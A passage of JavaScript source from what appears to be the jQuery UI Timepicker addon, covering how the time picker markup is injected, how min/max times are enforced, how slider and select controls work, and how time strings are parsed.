= $.datepicker._getInst(this.$input[0]); } if (withDate || !this._defaults.timeOnly) { var dp_dateFormat = $.datepicker._get(this.inst, 'dateFormat'); try { var parseRes = parseDateTimeInternal(dp_dateFormat, this._defaults.timeFormat, timeString, $.datepicker._getFormatConfig(this.inst), this._defaults); if (!parseRes.timeObj) { return false; } $.extend(this, parseRes.timeObj); } catch (err) { $.timepicker.log("Error parsing the date/time string: " + err + "\ndate/time string = " + timeString + "\ntimeFormat = " + this._defaults.timeFormat + "\ndateFormat = " + dp_dateFormat); return false; } return true; } else { var timeObj = $.datepicker.parseTime(this._defaults.timeFormat, timeString, this._defaults); if (!timeObj) { return false; } $.extend(this, timeObj); return true; } }, /* * Handle callback option after injecting timepicker */ _afterInject: function() { var o = this.inst.settings; if ($.isFunction(o.afterInject)) { o.afterInject.call(this); } }, /* * generate and inject html for timepicker into ui datepicker */ _injectTimePicker: function () { var $dp = this.inst.dpDiv, o = this.inst.settings, tp_inst = this, litem = '', uitem = '', show = null, max = {}, gridSize = {}, size = null, i = 0, l = 0; // Prevent displaying twice if ($dp.find("div.ui-timepicker-div").length === 0 && o.showTimepicker) { var noDisplay = ' ui_tpicker_unit_hide', html = '<div class="ui-timepicker-div' + (o.isRTL ? ' ui-timepicker-rtl' : '') + (o.oneLine && o.controlType === 'select' ? ' ui-timepicker-oneLine' : '') + '"><dl>' + '<dt class="ui_tpicker_time_label' + ((o.showTime) ? '' : noDisplay) + '">' + o.timeText + '</dt>' + '<dd class="ui_tpicker_time '+ ((o.showTime) ? '' : noDisplay) + '"><input class="ui_tpicker_time_input" ' + (o.timeInput ? '' : 'disabled') + '/></dd>'; // Create the markup for (i = 0, l = this.units.length; i < l; i++) { litem = this.units[i]; uitem = litem.substr(0, 1).toUpperCase() + litem.substr(1); show = o['show' + uitem] !== null ? o['show' + uitem] : this.support[litem]; // Added by Peter Medeiros: // - Figure out what the hour/minute/second max should be based on the step values. // - Example: if stepMinute is 15, then minMax is 45. max[litem] = parseInt((o[litem + 'Max'] - ((o[litem + 'Max'] - o[litem + 'Min']) % o['step' + uitem])), 10); gridSize[litem] = 0; html += '<dt class="ui_tpicker_' + litem + '_label' + (show ? '' : noDisplay) + '">' + o[litem + 'Text'] + '</dt>' + '<dd class="ui_tpicker_' + litem + (show ? '' : noDisplay) + '"><div class="ui_tpicker_' + litem + '_slider' + (show ? '' : noDisplay) + '"></div>'; if (show && o[litem + 'Grid'] > 0) { html += '<div style="padding-left: 1px"><table class="ui-tpicker-grid-label"><tr>'; if (litem === 'hour') { for (var h = o[litem + 'Min']; h <= max[litem]; h += parseInt(o[litem + 'Grid'], 10)) { gridSize[litem]++; var tmph = $.datepicker.formatTime(this.support.ampm ? 'hht' : 'HH', {hour: h}, o); html += '<td data-for="' + litem + '">' + tmph + '</td>'; } } else { for (var m = o[litem + 'Min']; m <= max[litem]; m += parseInt(o[litem + 'Grid'], 10)) { gridSize[litem]++; html += '<td data-for="' + litem + '">' + ((m < 10) ? '0' : '') + m + '</td>'; } } html += '</tr></table></div>'; } html += '</dd>'; } // Timezone var showTz = o.showTimezone !== null ? o.showTimezone : this.support.timezone; html += '<dt class="ui_tpicker_timezone_label' + (showTz ? '' : noDisplay) + '">' + o.timezoneText + '</dt>'; html += '<dd class="ui_tpicker_timezone' + (showTz ? '' : noDisplay) + '"></dd>'; // Create the elements from string html += '</dl></div>'; var $tp = $(html); // if we only want time picker... if (o.timeOnly === true) { $tp.prepend('<div class="ui-widget-header ui-helper-clearfix ui-corner-all">' + '<div class="ui-datepicker-title">' + o.timeOnlyTitle + '</div>' + '</div>'); $dp.find('.ui-datepicker-header, .ui-datepicker-calendar').hide(); } // add sliders, adjust grids, add events for (i = 0, l = tp_inst.units.length; i < l; i++) { litem = tp_inst.units[i]; uitem = litem.substr(0, 1).toUpperCase() + litem.substr(1); show = o['show' + uitem] !== null ? o['show' + uitem] : this.support[litem]; // add the slider tp_inst[litem + '_slider'] = tp_inst.control.create(tp_inst, $tp.find('.ui_tpicker_' + litem + '_slider'), litem, tp_inst[litem], o[litem + 'Min'], max[litem], o['step' + uitem]); // adjust the grid and add click event if (show && o[litem + 'Grid'] > 0) { size = 100 * gridSize[litem] * o[litem + 'Grid'] / (max[litem] - o[litem + 'Min']); $tp.find('.ui_tpicker_' + litem + ' table').css({ width: size + "%", marginLeft: o.isRTL ? '0' : ((size / (-2 * gridSize[litem])) + "%"), marginRight: o.isRTL ? ((size / (-2 * gridSize[litem])) + "%") : '0', borderCollapse: 'collapse' }).find("td").click(function (e) { var $t = $(this), h = $t.html(), n = parseInt(h.replace(/[^0-9]/g), 10), ap = h.replace(/[^apm]/ig), f = $t.data('for'); // loses scope, so we use data-for if (f === 'hour') { if (ap.indexOf('p') !== -1 && n < 12) { n += 12; } else { if (ap.indexOf('a') !== -1 && n === 12) { n = 0; } } } tp_inst.control.value(tp_inst, tp_inst[f + '_slider'], litem, n); tp_inst._onTimeChange(); tp_inst._onSelectHandler(); }).css({ cursor: 'pointer', width: (100 / gridSize[litem]) + '%', textAlign: 'center', overflow: 'hidden' }); } // end if grid > 0 } // end for loop // Add timezone options this.timezone_select = $tp.find('.ui_tpicker_timezone').append('<select></select>').find("select"); $.fn.append.apply(this.timezone_select, $.map(o.timezoneList, function (val, idx) { return $("<option />").val(typeof val === "object" ? val.value : val).text(typeof val === "object" ? val.label : val); })); if (typeof(this.timezone) !== "undefined" && this.timezone !== null && this.timezone !== "") { var local_timezone = (new Date(this.inst.selectedYear, this.inst.selectedMonth, this.inst.selectedDay, 12)).getTimezoneOffset() * -1; if (local_timezone === this.timezone) { selectLocalTimezone(tp_inst); } else { this.timezone_select.val(this.timezone); } } else { if (typeof(this.hour) !== "undefined" && this.hour !== null && this.hour !== "") { this.timezone_select.val(o.timezone); } else { selectLocalTimezone(tp_inst); } } this.timezone_select.change(function () { tp_inst._onTimeChange(); tp_inst._onSelectHandler(); tp_inst._afterInject(); }); // End timezone options // inject timepicker into datepicker var $buttonPanel = $dp.find('.ui-datepicker-buttonpane'); if ($buttonPanel.length) { $buttonPanel.before($tp); } else { $dp.append($tp); } this.$timeObj = $tp.find('.ui_tpicker_time_input'); this.$timeObj.change(function () { var timeFormat = tp_inst.inst.settings.timeFormat; var parsedTime = $.datepicker.parseTime(timeFormat, this.value); var update = new Date(); if (parsedTime) { update.setHours(parsedTime.hour); update.setMinutes(parsedTime.minute); update.setSeconds(parsedTime.second); $.datepicker._setTime(tp_inst.inst, update); } else { this.value = tp_inst.formattedTime; this.blur(); } }); if (this.inst !== null) { var timeDefined = this.timeDefined; this._onTimeChange(); this.timeDefined = timeDefined; } // slideAccess integration: http://trentrichardson.com/2011/11/11/jquery-ui-sliders-and-touch-accessibility/ if (this._defaults.addSliderAccess) { var sliderAccessArgs = this._defaults.sliderAccessArgs, rtl = this._defaults.isRTL; sliderAccessArgs.isRTL = rtl; setTimeout(function () { // fix for inline mode if ($tp.find('.ui-slider-access').length === 0) { $tp.find('.ui-slider:visible').sliderAccess(sliderAccessArgs); // fix any grids since sliders are shorter var sliderAccessWidth = $tp.find('.ui-slider-access:eq(0)').outerWidth(true); if (sliderAccessWidth) { $tp.find('table:visible').each(function () { var $g = $(this), oldWidth = $g.outerWidth(), oldMarginLeft = $g.css(rtl ? 'marginRight' : 'marginLeft').toString().replace('%', ''), newWidth = oldWidth - sliderAccessWidth, newMarginLeft = ((oldMarginLeft * newWidth) / oldWidth) + '%', css = { width: newWidth, marginRight: 0, marginLeft: 0 }; css[rtl ? 'marginRight' : 'marginLeft'] = newMarginLeft; $g.css(css); }); } } }, 10); } // end slideAccess integration tp_inst._limitMinMaxDateTime(this.inst, true); } }, /* * This function tries to limit the ability to go outside the * min/max date range */ _limitMinMaxDateTime: function (dp_inst, adjustSliders) { var o = this._defaults, dp_date = new Date(dp_inst.selectedYear, dp_inst.selectedMonth, dp_inst.selectedDay); if (!this._defaults.showTimepicker) { return; } // No time so nothing to check here if ($.datepicker._get(dp_inst, 'minDateTime') !== null && $.datepicker._get(dp_inst, 'minDateTime') !== undefined && dp_date) { var minDateTime = $.datepicker._get(dp_inst, 'minDateTime'), minDateTimeDate = new Date(minDateTime.getFullYear(), minDateTime.getMonth(), minDateTime.getDate(), 0, 0, 0, 0); if (this.hourMinOriginal === null || this.minuteMinOriginal === null || this.secondMinOriginal === null || this.millisecMinOriginal === null || this.microsecMinOriginal === null) { this.hourMinOriginal = o.hourMin; this.minuteMinOriginal = o.minuteMin; this.secondMinOriginal = o.secondMin; this.millisecMinOriginal = o.millisecMin; this.microsecMinOriginal = o.microsecMin; } if (dp_inst.settings.timeOnly || minDateTimeDate.getTime() === dp_date.getTime()) { this._defaults.hourMin = minDateTime.getHours(); if (this.hour <= this._defaults.hourMin) { this.hour = this._defaults.hourMin; this._defaults.minuteMin = minDateTime.getMinutes(); if (this.minute <= this._defaults.minuteMin) { this.minute = this._defaults.minuteMin; this._defaults.secondMin = minDateTime.getSeconds(); if (this.second <= this._defaults.secondMin) { this.second = this._defaults.secondMin; this._defaults.millisecMin = minDateTime.getMilliseconds(); if (this.millisec <= this._defaults.millisecMin) { this.millisec = this._defaults.millisecMin; this._defaults.microsecMin = minDateTime.getMicroseconds(); } else { if (this.microsec < this._defaults.microsecMin) { this.microsec = this._defaults.microsecMin; } this._defaults.microsecMin = this.microsecMinOriginal; } } else { this._defaults.millisecMin = this.millisecMinOriginal; this._defaults.microsecMin = this.microsecMinOriginal; } } else { this._defaults.secondMin = this.secondMinOriginal; this._defaults.millisecMin = this.millisecMinOriginal; this._defaults.microsecMin = this.microsecMinOriginal; } } else { this._defaults.minuteMin = this.minuteMinOriginal; this._defaults.secondMin = this.secondMinOriginal; this._defaults.millisecMin = this.millisecMinOriginal; this._defaults.microsecMin = this.microsecMinOriginal; } } else { this._defaults.hourMin = this.hourMinOriginal; this._defaults.minuteMin = this.minuteMinOriginal; this._defaults.secondMin = this.secondMinOriginal; this._defaults.millisecMin = this.millisecMinOriginal; this._defaults.microsecMin = this.microsecMinOriginal; } } if ($.datepicker._get(dp_inst, 'maxDateTime') !== null && $.datepicker._get(dp_inst, 'maxDateTime') !== undefined && dp_date) { var maxDateTime = $.datepicker._get(dp_inst, 'maxDateTime'), maxDateTimeDate = new Date(maxDateTime.getFullYear(), maxDateTime.getMonth(), maxDateTime.getDate(), 0, 0, 0, 0); if (this.hourMaxOriginal === null || this.minuteMaxOriginal === null || this.secondMaxOriginal === null || this.millisecMaxOriginal === null) { this.hourMaxOriginal = o.hourMax; this.minuteMaxOriginal = o.minuteMax; this.secondMaxOriginal = o.secondMax; this.millisecMaxOriginal = o.millisecMax; this.microsecMaxOriginal = o.microsecMax; } if (dp_inst.settings.timeOnly || maxDateTimeDate.getTime() === dp_date.getTime()) { this._defaults.hourMax = maxDateTime.getHours(); if (this.hour >= this._defaults.hourMax) { this.hour = this._defaults.hourMax; this._defaults.minuteMax = maxDateTime.getMinutes(); if (this.minute >= this._defaults.minuteMax) { this.minute = this._defaults.minuteMax; this._defaults.secondMax = maxDateTime.getSeconds(); if (this.second >= this._defaults.secondMax) { this.second = this._defaults.secondMax; this._defaults.millisecMax = maxDateTime.getMilliseconds(); if (this.millisec >= this._defaults.millisecMax) { this.millisec = this._defaults.millisecMax; this._defaults.microsecMax = maxDateTime.getMicroseconds(); } else { if (this.microsec > this._defaults.microsecMax) { this.microsec = this._defaults.microsecMax; } this._defaults.microsecMax = this.microsecMaxOriginal; } } else { this._defaults.millisecMax = this.millisecMaxOriginal; this._defaults.microsecMax = this.microsecMaxOriginal; } } else { this._defaults.secondMax = this.secondMaxOriginal; this._defaults.millisecMax = this.millisecMaxOriginal; this._defaults.microsecMax = this.microsecMaxOriginal; } } else { this._defaults.minuteMax = this.minuteMaxOriginal; this._defaults.secondMax = this.secondMaxOriginal; this._defaults.millisecMax = this.millisecMaxOriginal; this._defaults.microsecMax = this.microsecMaxOriginal; } } else { this._defaults.hourMax = this.hourMaxOriginal; this._defaults.minuteMax = this.minuteMaxOriginal; this._defaults.secondMax = this.secondMaxOriginal; this._defaults.millisecMax = this.millisecMaxOriginal; this._defaults.microsecMax = this.microsecMaxOriginal; } } if (dp_inst.settings.minTime!==null) { var tempMinTime=new Date("01/01/1970 " + dp_inst.settings.minTime); if (this.hour<tempMinTime.getHours()) { this.hour=this._defaults.hourMin=tempMinTime.getHours(); this.minute=this._defaults.minuteMin=tempMinTime.getMinutes(); } else if (this.hour===tempMinTime.getHours() && this.minute<tempMinTime.getMinutes()) { this.minute=this._defaults.minuteMin=tempMinTime.getMinutes(); } else { if (this._defaults.hourMin<tempMinTime.getHours()) { this._defaults.hourMin=tempMinTime.getHours(); this._defaults.minuteMin=tempMinTime.getMinutes(); } else if (this._defaults.hourMin===tempMinTime.getHours()===this.hour && this._defaults.minuteMin<tempMinTime.getMinutes()) { this._defaults.minuteMin=tempMinTime.getMinutes(); } else { this._defaults.minuteMin=0; } } } if (dp_inst.settings.maxTime!==null) { var tempMaxTime=new Date("01/01/1970 " + dp_inst.settings.maxTime); if (this.hour>tempMaxTime.getHours()) { this.hour=this._defaults.hourMax=tempMaxTime.getHours(); this.minute=this._defaults.minuteMax=tempMaxTime.getMinutes(); } else if (this.hour===tempMaxTime.getHours() && this.minute>tempMaxTime.getMinutes()) { this.minute=this._defaults.minuteMax=tempMaxTime.getMinutes(); } else { if (this._defaults.hourMax>tempMaxTime.getHours()) { this._defaults.hourMax=tempMaxTime.getHours(); this._defaults.minuteMax=tempMaxTime.getMinutes(); } else if (this._defaults.hourMax===tempMaxTime.getHours()===this.hour && this._defaults.minuteMax>tempMaxTime.getMinutes()) { this._defaults.minuteMax=tempMaxTime.getMinutes(); } else { this._defaults.minuteMax=59; } } } if (adjustSliders !== undefined && adjustSliders === true) { var hourMax = parseInt((this._defaults.hourMax - ((this._defaults.hourMax - this._defaults.hourMin) % this._defaults.stepHour)), 10), minMax = parseInt((this._defaults.minuteMax - ((this._defaults.minuteMax - this._defaults.minuteMin) % this._defaults.stepMinute)), 10), secMax = parseInt((this._defaults.secondMax - ((this._defaults.secondMax - this._defaults.secondMin) % this._defaults.stepSecond)), 10), millisecMax = parseInt((this._defaults.millisecMax - ((this._defaults.millisecMax - this._defaults.millisecMin) % this._defaults.stepMillisec)), 10), microsecMax = parseInt((this._defaults.microsecMax - ((this._defaults.microsecMax - this._defaults.microsecMin) % this._defaults.stepMicrosec)), 10); if (this.hour_slider) { this.control.options(this, this.hour_slider, 'hour', { min: this._defaults.hourMin, max: hourMax, step: this._defaults.stepHour }); this.control.value(this, this.hour_slider, 'hour', this.hour - (this.hour % this._defaults.stepHour)); } if (this.minute_slider) { this.control.options(this, this.minute_slider, 'minute', { min: this._defaults.minuteMin, max: minMax, step: this._defaults.stepMinute }); this.control.value(this, this.minute_slider, 'minute', this.minute - (this.minute % this._defaults.stepMinute)); } if (this.second_slider) { this.control.options(this, this.second_slider, 'second', { min: this._defaults.secondMin, max: secMax, step: this._defaults.stepSecond }); this.control.value(this, this.second_slider, 'second', this.second - (this.second % this._defaults.stepSecond)); } if (this.millisec_slider) { this.control.options(this, this.millisec_slider, 'millisec', { min: this._defaults.millisecMin, max: millisecMax, step: this._defaults.stepMillisec }); this.control.value(this, this.millisec_slider, 'millisec', this.millisec - (this.millisec % this._defaults.stepMillisec)); } if (this.microsec_slider) { this.control.options(this, this.microsec_slider, 'microsec', { min: this._defaults.microsecMin, max: microsecMax, step: this._defaults.stepMicrosec }); this.control.value(this, this.microsec_slider, 'microsec', this.microsec - (this.microsec % this._defaults.stepMicrosec)); } } }, /* * when a slider moves, set the internal time... * on time change is also called when the time is updated in the text field */ _onTimeChange: function () { if (!this._defaults.showTimepicker) { return; } var hour = (this.hour_slider) ? this.control.value(this, this.hour_slider, 'hour') : false, minute = (this.minute_slider) ? this.control.value(this, this.minute_slider, 'minute') : false, second = (this.second_slider) ? this.control.value(this, this.second_slider, 'second') : false, millisec = (this.millisec_slider) ? this.control.value(this, this.millisec_slider, 'millisec') : false, microsec = (this.microsec_slider) ? this.control.value(this, this.microsec_slider, 'microsec') : false, timezone = (this.timezone_select) ? this.timezone_select.val() : false, o = this._defaults, pickerTimeFormat = o.pickerTimeFormat || o.timeFormat, pickerTimeSuffix = o.pickerTimeSuffix || o.timeSuffix; if (typeof(hour) === 'object') { hour = false; } if (typeof(minute) === 'object') { minute = false; } if (typeof(second) === 'object') { second = false; } if (typeof(millisec) === 'object') { millisec = false; } if (typeof(microsec) === 'object') { microsec = false; } if (typeof(timezone) === 'object') { timezone = false; } if (hour !== false) { hour = parseInt(hour, 10); } if (minute !== false) { minute = parseInt(minute, 10); } if (second !== false) { second = parseInt(second, 10); } if (millisec !== false) { millisec = parseInt(millisec, 10); } if (microsec !== false) { microsec = parseInt(microsec, 10); } if (timezone !== false) { timezone = timezone.toString(); } var ampm = o[hour < 12 ? 'amNames' : 'pmNames'][0]; // If the update was done in the input field, the input field should not be updated. // If the update was done using the sliders, update the input field. var hasChanged = ( hour !== parseInt(this.hour,10) || // sliders should all be numeric minute !== parseInt(this.minute,10) || second !== parseInt(this.second,10) || millisec !== parseInt(this.millisec,10) || microsec !== parseInt(this.microsec,10) || (this.ampm.length > 0 && (hour < 12) !== ($.inArray(this.ampm.toUpperCase(), this.amNames) !== -1)) || (this.timezone !== null && timezone !== this.timezone.toString()) // could be numeric or "EST" format, so use toString() ); if (hasChanged) { if (hour !== false) { this.hour = hour; } if (minute !== false) { this.minute = minute; } if (second !== false) { this.second = second; } if (millisec !== false) { this.millisec = millisec; } if (microsec !== false) { this.microsec = microsec; } if (timezone !== false) { this.timezone = timezone; } if (!this.inst) { this.inst = $.datepicker._getInst(this.$input[0]); } this._limitMinMaxDateTime(this.inst, true); } if (this.support.ampm) { this.ampm = ampm; } // Updates the time within the timepicker this.formattedTime = $.datepicker.formatTime(o.timeFormat, this, o); if (this.$timeObj) { if (pickerTimeFormat === o.timeFormat) { this.$timeObj.val(this.formattedTime + pickerTimeSuffix); } else { this.$timeObj.val($.datepicker.formatTime(pickerTimeFormat, this, o) + pickerTimeSuffix); } if (this.$timeObj[0].setSelectionRange) { var sPos = this.$timeObj[0].selectionStart; var ePos = this.$timeObj[0].selectionEnd; this.$timeObj[0].setSelectionRange(sPos, ePos); } } this.timeDefined = true; if (hasChanged) { this._updateDateTime(); //this.$input.focus(); // may automatically open the picker on setDate } }, /* * call custom onSelect. * bind to sliders slidestop, and grid click. */ _onSelectHandler: function () { var onSelect = this._defaults.onSelect || this.inst.settings.onSelect; var inputEl = this.$input ? this.$input[0] : null; if (onSelect && inputEl) { onSelect.apply(inputEl, [this.formattedDateTime, this]); } }, /* * update our input with the new date time.. */ _updateDateTime: function (dp_inst) { dp_inst = this.inst || dp_inst; var dtTmp = (dp_inst.currentYear > 0? new Date(dp_inst.currentYear, dp_inst.currentMonth, dp_inst.currentDay) : new Date(dp_inst.selectedYear, dp_inst.selectedMonth, dp_inst.selectedDay)), dt = $.datepicker._daylightSavingAdjust(dtTmp), //dt = $.datepicker._daylightSavingAdjust(new Date(dp_inst.selectedYear, dp_inst.selectedMonth, dp_inst.selectedDay)), //dt = $.datepicker._daylightSavingAdjust(new Date(dp_inst.currentYear, dp_inst.currentMonth, dp_inst.currentDay)), dateFmt = $.datepicker._get(dp_inst, 'dateFormat'), formatCfg = $.datepicker._getFormatConfig(dp_inst), timeAvailable = dt !== null && this.timeDefined; this.formattedDate = $.datepicker.formatDate(dateFmt, (dt === null ? new Date() : dt), formatCfg); var formattedDateTime = this.formattedDate; // if a slider was changed but datepicker doesn't have a value yet, set it if (dp_inst.lastVal === "") { dp_inst.currentYear = dp_inst.selectedYear; dp_inst.currentMonth = dp_inst.selectedMonth; dp_inst.currentDay = dp_inst.selectedDay; } /* * remove following lines to force every changes in date picker to change the input value * Bug descriptions: when an input field has a default value, and click on the field to pop up the date picker. * If the user manually empty the value in the input field, the date picker will never change selected value. */ //if (dp_inst.lastVal !== undefined && (dp_inst.lastVal.length > 0 && this.$input.val().length === 0)) { // return; //} if (this._defaults.timeOnly === true && this._defaults.timeOnlyShowDate === false) { formattedDateTime = this.formattedTime; } else if ((this._defaults.timeOnly !== true && (this._defaults.alwaysSetTime || timeAvailable)) || (this._defaults.timeOnly === true && this._defaults.timeOnlyShowDate === true)) { formattedDateTime += this._defaults.separator + this.formattedTime + this._defaults.timeSuffix; } this.formattedDateTime = formattedDateTime; if (!this._defaults.showTimepicker) { this.$input.val(this.formattedDate); } else if (this.$altInput && this._defaults.timeOnly === false && this._defaults.altFieldTimeOnly === true) { this.$altInput.val(this.formattedTime); this.$input.val(this.formattedDate); } else if (this.$altInput) { this.$input.val(formattedDateTime); var altFormattedDateTime = '', altSeparator = this._defaults.altSeparator !== null ? this._defaults.altSeparator : this._defaults.separator, altTimeSuffix = this._defaults.altTimeSuffix !== null ? this._defaults.altTimeSuffix : this._defaults.timeSuffix; if (!this._defaults.timeOnly) { if (this._defaults.altFormat) { altFormattedDateTime = $.datepicker.formatDate(this._defaults.altFormat, (dt === null ? new Date() : dt), formatCfg); } else { altFormattedDateTime = this.formattedDate; } if (altFormattedDateTime) { altFormattedDateTime += altSeparator; } } if (this._defaults.altTimeFormat !== null) { altFormattedDateTime += $.datepicker.formatTime(this._defaults.altTimeFormat, this, this._defaults) + altTimeSuffix; } else { altFormattedDateTime += this.formattedTime + altTimeSuffix; } this.$altInput.val(altFormattedDateTime); } else { this.$input.val(formattedDateTime); } this.$input.trigger("change"); }, _onFocus: function () { if (!this.$input.val() && this._defaults.defaultValue) { this.$input.val(this._defaults.defaultValue); var inst = $.datepicker._getInst(this.$input.get(0)), tp_inst = $.datepicker._get(inst, 'timepicker'); if (tp_inst) { if (tp_inst._defaults.timeOnly && (inst.input.val() !== inst.lastVal)) { try { $.datepicker._updateDatepicker(inst); } catch (err) { $.timepicker.log(err); } } } } }, /* * Small abstraction to control types * We can add more, just be sure to follow the pattern: create, options, value */ _controls: { // slider methods slider: { create: function (tp_inst, obj, unit, val, min, max, step) { var rtl = tp_inst._defaults.isRTL; // if rtl go -60->0 instead of 0->60 return obj.prop('slide', null).slider({ orientation: "horizontal", value: rtl ? val * -1 : val, min: rtl ? max * -1 : min, max: rtl ? min * -1 : max, step: step, slide: function (event, ui) { tp_inst.control.value(tp_inst, $(this), unit, rtl ? ui.value * -1 : ui.value); tp_inst._onTimeChange(); }, stop: function (event, ui) { tp_inst._onSelectHandler(); } }); }, options: function (tp_inst, obj, unit, opts, val) { if (tp_inst._defaults.isRTL) { if (typeof(opts) === 'string') { if (opts === 'min' || opts === 'max') { if (val !== undefined) { return obj.slider(opts, val * -1); } return Math.abs(obj.slider(opts)); } return obj.slider(opts); } var min = opts.min, max = opts.max; opts.min = opts.max = null; if (min !== undefined) { opts.max = min * -1; } if (max !== undefined) { opts.min = max * -1; } return obj.slider(opts); } if (typeof(opts) === 'string' && val !== undefined) { return obj.slider(opts, val); } return obj.slider(opts); }, value: function (tp_inst, obj, unit, val) { if (tp_inst._defaults.isRTL) { if (val !== undefined) { return obj.slider('value', val * -1); } return Math.abs(obj.slider('value')); } if (val !== undefined) { return obj.slider('value', val); } return obj.slider('value'); } }, // select methods select: { create: function (tp_inst, obj, unit, val, min, max, step) { var sel = '<select class="ui-timepicker-select ui-state-default ui-corner-all" data-unit="' + unit + '" data-min="' + min + '" data-max="' + max + '" data-step="' + step + '">', format = tp_inst._defaults.pickerTimeFormat || tp_inst._defaults.timeFormat; for (var i = min; i <= max; i += step) { sel += '<option value="' + i + '"' + (i === val ? ' selected' : '') + '>'; if (unit === 'hour') { sel += $.datepicker.formatTime($.trim(format.replace(/[^ht ]/ig, '')), {hour: i}, tp_inst._defaults); } else if (unit === 'millisec' || unit === 'microsec' || i >= 10) { sel += i; } else {sel += '0' + i.toString(); } sel += '</option>'; } sel += '</select>'; obj.children('select').remove(); $(sel).appendTo(obj).change(function (e) { tp_inst._onTimeChange(); tp_inst._onSelectHandler(); tp_inst._afterInject(); }); return obj; }, options: function (tp_inst, obj, unit, opts, val) { var o = {}, $t = obj.children('select'); if (typeof(opts) === 'string') { if (val === undefined) { return $t.data(opts); } o[opts] = val; } else { o = opts; } return tp_inst.control.create(tp_inst, obj, $t.data('unit'), $t.val(), o.min>=0 ? o.min : $t.data('min'), o.max || $t.data('max'), o.step || $t.data('step')); }, value: function (tp_inst, obj, unit, val) { var $t = obj.children('select'); if (val !== undefined) { return $t.val(val); } return $t.val(); } } } // end _controls }); $.fn.extend({ /* * shorthand just to use timepicker. */ timepicker: function (o) { o = o || {}; var tmp_args = Array.prototype.slice.call(arguments); if (typeof o === 'object') { tmp_args[0] = $.extend(o, { timeOnly: true }); } return $(this).each(function () { $.fn.datetimepicker.apply($(this), tmp_args); }); }, /* * extend timepicker to datepicker */ datetimepicker: function (o) { o = o || {}; var tmp_args = arguments; if (typeof(o) === 'string') { if (o === 'getDate' || (o === 'option' && tmp_args.length === 2 && typeof (tmp_args[1]) === 'string')) { return $.fn.datepicker.apply($(this[0]), tmp_args); } else { return this.each(function () { var $t = $(this); $t.datepicker.apply($t, tmp_args); }); } } else { return this.each(function () { var $t = $(this); $t.datepicker($.timepicker._newInst($t, o)._defaults); }); } } }); /* * Public Utility to parse date and time */ $.datepicker.parseDateTime = function (dateFormat, timeFormat, dateTimeString, dateSettings, timeSettings) { var parseRes = parseDateTimeInternal(dateFormat, timeFormat, dateTimeString, dateSettings, timeSettings); if (parseRes.timeObj) { var t = parseRes.timeObj; parseRes.date.setHours(t.hour, t.minute, t.second, t.millisec); parseRes.date.setMicroseconds(t.microsec); } return parseRes.date; }; /* * Public utility to parse time */ $.datepicker.parseTime = function (timeFormat, timeString, options) { var o = extendRemove(extendRemove({}, $.timepicker._defaults), options || {}), iso8601 = (timeFormat.replace(/\'.*?\'/g, '').indexOf('Z') !== -1); // Strict parse requires the timeString to match the timeFormat exactly var strictParse = function (f, s, o) { // pattern for standard and localized AM/PM markers var getPatternAmpm = function (amNames, pmNames) { var markers = []; if (amNames) { $.merge(markers, amNames); } if (pmNames) { $.merge(markers, pmNames); } markers = $.map(markers, function (val) { return val.replace(/[.*+?|()\[\]{}\\]/g, '\\$&'); }); return '(' + markers.join('|') + ')?'; }; // figure out position of time elements.. cause js cant do named captures var getFormatPositions = function (timeFormat) { var finds = timeFormat.toLowerCase().match(/(h{1,2}|m{1,2}|s{1,2}|l{1}|c{1}|t{1,2}|z|'.*?')/g), orders = { h: -1, m: -1, s: -1, l: -1, c: -1, t: -1, z: -1 }; if (finds) { for (var i = 0; i < finds.length; i++) { if (orders[finds[i].toString().charAt(0)] === -1) { orders[finds[i].toString().charAt(0)] = i + 1; } } } return orders; }; var regstr = '^' + f.toString() .replace(/([hH]{1,2}|mm?|ss?|[tT]{1,2}|[zZ]|[lc]|'.*?')/g, function (match) { var ml = match.length; switch (match.charAt(0).toLowerCase()) { case 'h': return ml === 1 ? '(\\d?\\d)' : '(\\d{' + ml + '})'; case 'm': return ml === 1 ? '(\\d?\\d)' : '(\\d{' + ml + '})'; case 's': return ml === 1 ? '(\\d?\\d)' : '(\\d{' + ml + '})'; case 'l': return '(\\d?\\d?\\d)'; case 'c': return '(\\d?\\d?\\d)'; case 'z': return '(z|[-+]\\d\\d:?\\d\\d|\\S+)?'; case 't': return getPatternAmpm(o.amNames, o.pmNames); default: // literal escaped in quotes return '(' + match.replace(/\'/g, "").replace(/(\.|\$|\^|\\|\/|\(|\)|\[|\]|\?|\+|\*)/g, function (m) { return "\\" + m; }) + ')?'; } }) .replace(/\s/g, '\\s?') + o.timeSuffix + '$', order = getFormatPositions(f), ampm = '', treg; treg = s.match(new RegExp(regstr, 'i')); var resTime = { hour: 0, minute: 0, second: 0, millisec: 0, microsec: 0 }; if (treg) { if (order.t !== -1) { if (treg[order.t] === undefined || treg[order.t].length === 0) { ampm = ''; resTime.ampm = ''; } else { ampm = $.inArray(treg[order.t].toUpperCase(), $.map(o.amNames, function (x,i) { return x.toUpperCase(); })) !== -1 ? 'AM' : 'PM'; resTime.ampm = o[ampm === 'AM' ? 'amNames' : 'pmNames'][0]; } } if (order.h !== -1) { if (ampm === 'AM' && treg[order.h] === '12') { resTime.hour = 0; // 12am = 0 hour } else { if (ampm === 'PM' && treg[order.h] !== '12') { resTime.hour = parseInt(treg[order.h], 10) + 12; // 12pm = 12 hour, any other pm = hour + 12 } else { resTime.hour = Number(treg[order.h]); } } } if (order.m !== -1) { resTime.minute = Number(treg[order.m]); } if (order.s !== -1) { resTime.second = Number(treg[order.s]); } if (order.l !== -1) { resTime.millisec = Number(treg[order.l]); } if (order.c !== -1) { resTime.microsec = Number(treg[order.c]); } if (order.z !== -1 && treg[order.z] !== undefined) { resTime.timezone = $.timepicker.timezoneOffsetNumber(treg[order.z]); } return resTime; } return false; };// end strictParse // First try JS Date, if that fails, use strictParse var looseParse = function (f, s, o) { try { var d = new Date('2012-01-01 ' + s); if (isNaN(d.getTime())) { d = new Date('2012-01-01T' + s); if (isNaN(d.getTime())) { d = new Date('01/01/2012 ' + s); if (isNaN(d.getTime())) { throw "Unable to parse time with native Date: " + s; } } } return { hour: d.getHours(), minute: d.getMinutes(), second: d.getSeconds(), millisec: d.getMilliseconds(), microsec: d.getMicroseconds(), timezone: d.getTimezoneOffset() * -1 }; } catch (err) { try { return strictParse(f, s, o); } catch (err2) { $.timepicker.log("Unable to parse \ntimeString: " + s + "\ntimeFormat: " + f); } } return false; }; // end looseParse if (typeof o.parse === "function") { return o.parse(timeFormat, timeString, o); } if (o.parse === 'loose') { return looseParse(timeFormat, timeString, o); } return strictParse(timeFormat, timeString, o); }; /** * Public utility to format the time * @param {string} format format of the time * @param {Object} time Object not a Date for timezones * @param 